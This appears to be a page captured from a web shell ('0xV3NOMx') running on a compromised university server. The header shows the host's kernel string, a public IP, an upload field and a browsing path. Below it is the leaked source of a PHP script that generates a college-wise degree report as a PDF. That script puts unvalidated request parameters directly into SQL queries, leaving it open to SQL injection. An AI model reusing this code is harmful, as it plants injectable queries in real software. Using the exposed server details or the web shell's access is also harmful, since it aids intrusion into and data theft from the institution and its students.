0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.15.34.105


Current Path : /proc/thread-self/root/var/www/oasis/Report_details_old/
Upload File :
Current File : //proc/thread-self/root/var/www/oasis/Report_details_old/college_degree_details.php

<?php
function Generatecollegewisedegreestatus($aobj_context)
{	
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);  

	$collfrom = $aobj_context->mobj_data["collfrom"];
	$collto = $aobj_context->mobj_data["collto"];
	$degfrom = $aobj_context->mobj_data["degfrom"];
	$degto = $aobj_context->mobj_data["degto"];

	
	$main_src_obj=(explode("/",$_SERVER["REQUEST_URI"]));
	$main_src=$main_src_obj[1];
	$pdf_writer_class=$aobj_context->main_src."/maya-pdf/fpdf.php";
	$root_pdf_file_download=$aobj_context->main_src."/Report_details/output/report_me_student_list.pdf";
	$page_header_university = "select FUNIVNAME,FTOWN, date_format(now(),'%d/%m/%Y') as date from control";
	$lobj_page_header_university = $aobj_context->mobj_db->GetRow($page_header_university);
	
	// global varibales
	$p_count =1;
// end global varibales	
	include($pdf_writer_class);	
	include_once("stringspliter.php");	
	$pdf= new FPDF();
	//$pdf->$title='20000 Leagues Under the Seas';
	//$pdf->selectFont('./fonts/Helvetica.afm');
	$pdf->SetFont('Times','',10);
	$pdf->SetMargins(6,9.5);		
	$pdf->AliasNbPages();	

// query for the page header
	$query = "SELECT CONCAT(candsum.fcollcode,'-',college.fcollname) AS fcollcode,
	GROUP_CONCAT(DISTINCT candsum.fdegree,'-',degree.FDESCPN ORDER BY candsum.fdegree SEPARATOR '~' ) AS fdegree 
	FROM candsum,college,degree 
	WHERE college.fcollcode = candsum.fcollcode  
	AND degree.fdegree = candsum.`FDEGREE` AND candsum.fcollcode BETWEEN '{$collfrom}' 
	AND '{$collto}' AND candsum.fdegree BETWEEN '{$degfrom}' AND '{$degto}' AND candsum.fdeleted <> 'T' 
	GROUP BY candsum.fcollcode ORDER BY candsum.fcollcode";
	//var_dump($query);
	$results = $aobj_context->mobj_db->GetAll($query);

	$pdf->SetFont('Times','B',14);	
	$pdf->aobj_context =$aobj_context;
	$pdf->WhichReport = 'college_degree_status';
	$pdf->FUNIVNAME = $lobj_page_header_university['FUNIVNAME'];
	$pdf->collfrom = $collfrom;
	$pdf->collto = $collto;
	$pdf->degfrom = $degfrom;
	$pdf->degto = $degto;

	$pdf->SetFont('Times','B',9);	 		  
	$results = $aobj_context->mobj_db->GetAll($query);
	$first = true;
	$count=1;
	$i = 0;
	$j = 1;
	$slstatus = true;
	foreach($results as $key => $value)
	{		
		
		$linewidth = 205;
		$lleftmargin = 6;
		$lrightmargin = 8;
		
		
		$degree = explode('~',$value['fdegree']);
		$collname = str_splitf($value['fcollcode'],50);		
		$k = 0;
		$collcnt = count($collname);
		$degcnt  = count($degree);
		$maxcnt = max($collcnt,$degcnt);
		for($k = 0;$k<$maxcnt;$k++)
		{
			if($first)
			{
				$pdf->Cell(197,0,'',"1",1,'L');
				$pdf->AddPage();
				$pdf->Rect(02,03,204,280);
				$pdf->SetFont('Times','B',10);	
				$lreprange1 = "College Range   :  ".$collfrom." - ".$collto;
				$lreprange2 = "Degree Range    :  ".$degfrom." - ".$degto;
				$pdf->Cell(0,4,$lreprange1,0,1,'C');
				$pdf->Cell(0,4,$lreprange2,0,1,'C');
				$pdf->Ln(2);
				
				$pdf->Cell(7,4,"Sl.","LRT",0,'L');
				$pdf->Cell(90,4,"College Name","LRT",0,'C');
				$pdf->Cell(100,4,"Degree Details","LRT",1,'C');
				$pdf->Cell(7,3,"No.","LRB",0,'L');
				$pdf->Cell(90,3,"","LRB",0,'L');
				$pdf->Cell(100,3,"","LRB",1,'L');
				
			}
			$pdf->SetFont('Times','',8);	
			$first = false;
			if($pdf->GetY() > 270)
			{	
				$first = true;	
			}
				
			if($slstatus)
			{	
				$pdf->Cell(7,5,$j,"LR",0,'L');	
				$pdf->Cell(90,5,$collname[$k],"LR",0,'L');	
				$slstatus = false;
			}	
			else
			{
				$pdf->Cell(7,5,'',"LR",0,'L');	
				
				if($collname[$k] != '')
					$pdf->Cell(90,5,$collname[$k],"LR",0,'L');	
				else					
					$pdf->Cell(90,5,'',"LR",0,'L');
			}	
			
			$pdf->Cell(100,5,$degree[$k],"LR",1,'L');
		}
		$pdf->Cell(197,0,'',"1",1,'L');
		$slstatus = true;
		$j++;
		
	}	
			
	$pdf->Output("college_degree_status.pdf","D");
}

function NbLines($w,$txt,$pdf)
{
    //Computes the number of lines a MultiCell of width w will take
    $cw=&$pdf->CurrentFont['cw'];
    if($w==0)
        $w=$pdf->w-$pdf->rMargin-$pdf->x;
    $wmax=($w-2*$pdf->cMargin)*1000/$pdf->FontSize;
    $s=str_replace("\r",'',$txt);
    $nb=strlen($s);
    if($nb>0 and $s[$nb-1]=="\n")
        $nb--;
    $sep=-1;
    $i=0;
    $j=0;
    $l=0;
    $nl=1;
    while($i<$nb){
        $c=$s[$i];
        if($c=="\n"){
            $i++;
            $sep=-1;
            $j=$i;
            $l=0;
            $nl++;
            continue;
        }
        if($c==' ')
            $sep=$i;
        $l+=$cw[$c];
        if($l>$wmax){
            if($sep==-1){
                if($i==$j)
                    $i++;
            } else
                $i=$sep+1;
            $sep=-1;
            $j=$i;
            $l=0;
            $nl++;
        } else
            $i++;
    }
    return $nl;
 }
?>